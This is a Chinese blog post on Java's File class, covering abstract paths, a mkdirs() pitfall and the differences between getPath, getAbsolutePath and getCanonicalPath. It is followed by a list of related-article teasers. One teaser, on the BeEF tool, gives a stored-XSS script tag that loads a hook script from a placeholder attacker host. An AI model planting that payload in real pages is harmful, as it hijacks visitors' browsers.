File类心得
File类心得
在程序中设置路径时会有系统依赖的问题,java.io.File类提供一个抽象的、与系统独立的路径表示。给它一个路径字符串,它会将其转换为与系统无关的抽象路径表示,这个路径可以指向一个文件、目录或是URI(Uniform Resource Identifier)。
一个File的实例被建立时,它就不能再被改变内容。File实例除了用作一个文件或目录的抽象表示之外,它还提供了不少相关操作方法:可以用它来对文件系统作一些查询与设置的动作。要注意的是,不管是文件还是目录,在Java中都是以File的实例来表示。若要进行文件输出/输入操作,必须配合其他相关类来使用。
先来点简单的:

// 操作一个代表文件的抽象路径 File f = new File("d:/ws/pp/readme.txt"); System.out.println(f.toString());// 返回此抽象路径名的路径名字符串。该字符串就是 方法返回的字符串 System.out.println(f); System.out.println(f.getName());// 获得文件名readme.txt System.out.println(f.getPath());// 获得完整的抽象路径d:\ws\pp\readme.txt System.out.println(f.getParent());// 获得该文件的父抽象路径d:\ws\pp // 操作一个代表目录的抽象路径 File f = new File("d:/ws/pp/"); System.out.println(f.toString()); System.out.println(f); System.out.println(f.getName());// 获得目录名pp System.out.println(f.getPath());// 获得完整的抽象路径d:\ws\pp System.out.println(f.getParent());//获得该目录的父抽象路径d:\wsgetPath()

File类是文件或目录的抽象,所以在对File对象进行操作时,明确是路径还是目录就显得很重要了(特别在递归中)。 当然,File类也提供了isDirectory()和isFile()这两个方法来判断到底是文件还是目录。 但要注意的是这一判断不能以代码中的File f = new File("d:/ws/pp/readme.txt");为根据。因为这个对象是抽象的,在文件系统中不一定有对应的实际存在,如果实际存在没有那么是目录还是文件都没有意义,这时isDirectory()和isFile()这两个方法都会返回FALSE。 接着,选择要根据d:/ws/pp/readme.txt,建立相关的目录和文件,你可能会敲如下代码:
public static void main(String[] args) { File f = new File("d:/ws/pp/readme.txt"); if (!f.exists()) { f.mkdirs(); try { f.createNewFile(); } catch (IOException e) { e.printStackTrace(); } } }可是,运行时你会发觉: 1.编译器报错了,java.io.IOException: 拒绝访问。 2.在d盘中建立了以下目录:D:\ws\pp\readme.txt,注意readme.txt是名叫readme.txt的一个目录而非文件。
为什么会出现这种情况呢?
首先mkdirs()会把根据整个抽象路径d:/ws/pp/readme.txt在硬盘中建立相关的目录(我们想建立的文件的名字readme.txt也用来建立目录),然后我们试图建立一个名字为空的文件这时肯定会抛异常了。
那么怎么解决这个问题,其实方法很简单,我们不要让mkdirs()把整个抽象路径都用来建目录就OK.修改后代码如下:

public static void main(String[] args) { File f = new File("d:/ws/pp/readme.txt"); if (!f.exists()) { f.getParentFile().mkdirs(); try { f.createNewFile(); } catch (IOException e) { e.printStackTrace(); } } }

通过getParentFile()获得File类封装的抽象路径的父路径,由mkdirs()去建立。
对于目录有绝对目录和相对目录之分。上面的代码用到的是绝对目录。绝对目录也叫完整路径,它不需要任何额外的路径信息就何以进行文件或目录的精确定位。而相对目录,顾其名相对,也就说要定位一个文件或目录必须有一个参考点,也就是额外的目录信息,那么这个额外的信息是什么呢?必须弄个明白。从网上搜了一下得到的答案是:java.io 包中的类总是根据当前用户目录来分析相对路径名。此目录由系统属性user.dir 指定,通常是 Java 虚拟机的调用目录.”
从这就话知道"当前用户目录"就是这个参考点,而这个目录可以通过System.out.println(System.getProperty("user.dir"));查询得到。
如果在控制台中运行一个class文件,如d:下执行java demo,那么此时通过System.out.println(System.getProperty("user.dir"));得到的是D:如果在别的目录如的d:/cc中执行java demo那么该目录就是d:/cc,那么我们可以确定"当前用户目录"就是执行java命令时CLASS文件所在的目录, 而在eclipse中程序都是在项目根路径上执行的,那么项目根路径就是相对路径的参考点。 由此类推一下可知,Tomcat下的bin目录.如” D:\tomcat\bin\.”,就是参考点。
下面再来看看getPath()与getAbsolutePath()的区别:

1 File x=new File("./test1.txt"); 2 System.out.println(x.getPath()); //.\test1.txt 3 System.out.println(x.getAbsolutePath()); //C:\Documents and Settings\yuno\workspace\002\.\test1.txt 4 5 File xx=new File("d:/ws/pp/readme.txt"); 6 System.out.println(xx.getPath()); //d:\ws\pp\readme.txt 7 System.out.println(xx.getAbsolutePath()); //d:\ws\pp\readme.txt

getAbsolutePath()根据名字就是获得绝对路径,那么getPath()就是获得相对路径。
抽象路径如果是相对路径,那么getPath()就输出该相对路径,而getAbsolutePath()就根据这个相对路径并根据参考点获得绝对的路径。当然传入一个绝对的抽象路径,这两个方法的返回是一样的。
再看看getAbsolutePath()和getCanonicalPath()的区别:

1 File x=new File("./test1.txt"); 2 System.out.println(x.getPath()); //.\test1.txt 3 System.out.println(x.getAbsolutePath()); //C:\Documents and Settings\yuno\workspace\002\.\test1.txt 4 System.out.println(x.getCanonicalPath()); //C:\Documents and Settings\yuno\workspace\002\test1.txt 5 6 System.out.println("==========================="); 7 8 File xx=new File("d:/ws/pp/readme.txt"); 9 System.out.println(xx.getPath()); //d:\ws\pp\readme.txt 10 System.out.println(xx.getAbsolutePath()); //d:\ws\pp\readme.txt 11 System.out.println(xx.getCanonicalPath());//D:\ws\pp\readme.txt

可以看到getCanonicalPath()连..或者.这样的符号解析出来。
最后看看getCanonicalPath()和自己的不同:
首先,确定D盘里没有Readme.txt这个文件,执行这段代码,得到的结果是:Readme.txt(注意文件的大小写)。
然后,在D盘下建立一个文件,名叫readme.txt,再次执行代码,得到结果是:readme.txt
有趣吧,一样的代码,不同的结果。原因是:windows对大小写是不敏感的,windows中readme.txt和Readme.txt是一个文件,所以在windows上当文件不存在时,得到的路径就是按照输入的路径。但当文件存在时,就会按照实际的情况来显示。这也就是建立文件后和删除文件后会有不同的原因。文件夹和文件类似。 下面为的说明:规范路径名是绝对路径名,并且是惟一的。规范路径名的准确定义与系统有关。如有必要,此方法首先将路径名转换成绝对路径名,这与调用 getAbsolutePath() 方法的效果一样,然后用与系统相关的方式将它映射到其惟一路径名。这通常涉及到从路径名中移除多余的名称(比如 "." 和 "..")、分析符号连接(对于 UNIX 平台),以及将驱动器名转换成标准大小写形式(对于 Microsoft Windows 平台)。
表示现有文件或目录的每个路径名都有一个惟一的规范形式。表示非存在文件或目录的每个路径名也有一个惟一的规范形式。非存在文件或目录路径名的规范形式可能不同于创建文件或目录之后同一路径名的规范形式。同样,现有文件或目录路径名的规范形式可能不同于删除文件或目录之后同一路径名的规范形式。
File类心得的更多相关文章
- File类的常用方法和练习
File类常用的判断方法 import java.io.File; import java.text.SimpleDateFormat; import java.util.Date; /** * Fi ...
- 孤荷凌寒自学python第三十四天python的文件操作对file类的对象学习
孤荷凌寒自学python第三十四天python的文件操作对file类的对象学习 (完整学习过程屏幕记录视频地址在文末,手写笔记在文末) 一.close() 当一个file对象执行此方法时,将关闭当前 ...
- java中File类的使用
public class FileLei { public static void main(String[] args) throws IOException { //..表示上 ...
- File 类
File 类:文件和目录(文件夹)路径名的抽象表现形式. 方法 1.创建功能 public boolean createNewFile():创建文件 public boolean mkdir():创建 ...
- C#File类常用的文件操作方法(创建、移动、删除、复制等)
File类,是一个静态类,主要是来提供一些函数库用的.静态实用类,提供了很多静态的方法,支持对文件的基本操作,包括创建,拷贝,移动,删除和 打开一个文件. File类方法的参量很多时候都是路径path ...
- File类基础
File类的作用: Java的io包中定义了File类,用于对文件或文件夹的管理操作. File类只能够用于表示文件或文件夹的信息(属性)和对该文件或文件夹的删除创建操作 (不能对内容进行访问) 通过 ...
- 【转】File类应用 - FilenameFilter 和 FileFilter
FilenameFilter & FileFilter FilenameFilter 和 FileFilter 都是用来过滤文件,例如过滤,以.jpg或者.java结尾的文件,通过看他们的源码 ...
- Java篇-File类之创建删除
/** * */ package com.io.file; import java.io.File; import java.io.IOException; import org.junit.Test ...
- JavaIO之File类
Java-IO之File类 Java-IO之File类 1. File类 1.1. File类说明 1.2. 体验 File 类 1.3. 构造一个 File 类实例: 1.4. 路径: 1.4.1. ...
随机推荐
- STL篇--list容器
list容器: 1.list 容器 的本质就是双向环形链表,最后一个节点刻意做成空节点,符合容器的左闭右开的原则2.list 的迭代器 是一个智能指针,其实就是一个类,通过操作符重载模拟各种操作(++ ...
- angualrjs 总结 随记(三)
$sanitize和$sce服务的使用方法 $sanitize会把标签的属性都移除,以及绑定在元素上的事件.仅保留了标签和内容 $q服务的使用1. 创建一个Service,去服务器读取数据: 2. 在 ...
- Beef xss神器
KALI中启动BEEFXSS PAYLOAD为 <script src=”http://攻击机IP:3000/hook.js”></script> 将攻击代码插入到存储型XSS ...
- MySQL学习(5)
三 触发器 对某个表进行某种操作(如:增删改查),希望触发某个动作,可以使用触发器. 1.创建触发器 create trigger trigger1_before_insert_tb1 before ...
- hdu1224SPFA求最长路加上打印路径
题目链接:http://icpc.njust.edu.cn/Problem/Hdu/1224/ 无负环. 代码如下: #include<bits/stdc++.h> using names ...
- IDEA报错:Could not find resource com/liwen/bean/userMapper.xml
主要原因设idea无法识别src路径下的xml文件,要把xml文件建立在resources文件下
- tpyboard v202 测试tcp通讯,i2c的oled程序,呼吸灯源码,希望对大家有所帮助
1.下载到板子里的main.py代码如果需要驱动oled的,可以参考我上面那篇文章import time, mathimport machineimport network# from ssd1306 ...
- 六、深浅拷贝与while循环
一.深浅拷贝 3.1 浅copy: 浅copy是把原列表第一层的内存地址不加区分完全copy一份给新列表 用法: list1=[ 'egon', 'lxx', [1,2] ] list2=list1. ...
- js事件的获取
获取元素样式属性 Method DES clientWidth 获取元素宽度 clientHeight 获取元素高度(内容+内边距) document.body.clientWidth 获取body宽 ...
- swagger2 接口文档
1,maven: <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www. ...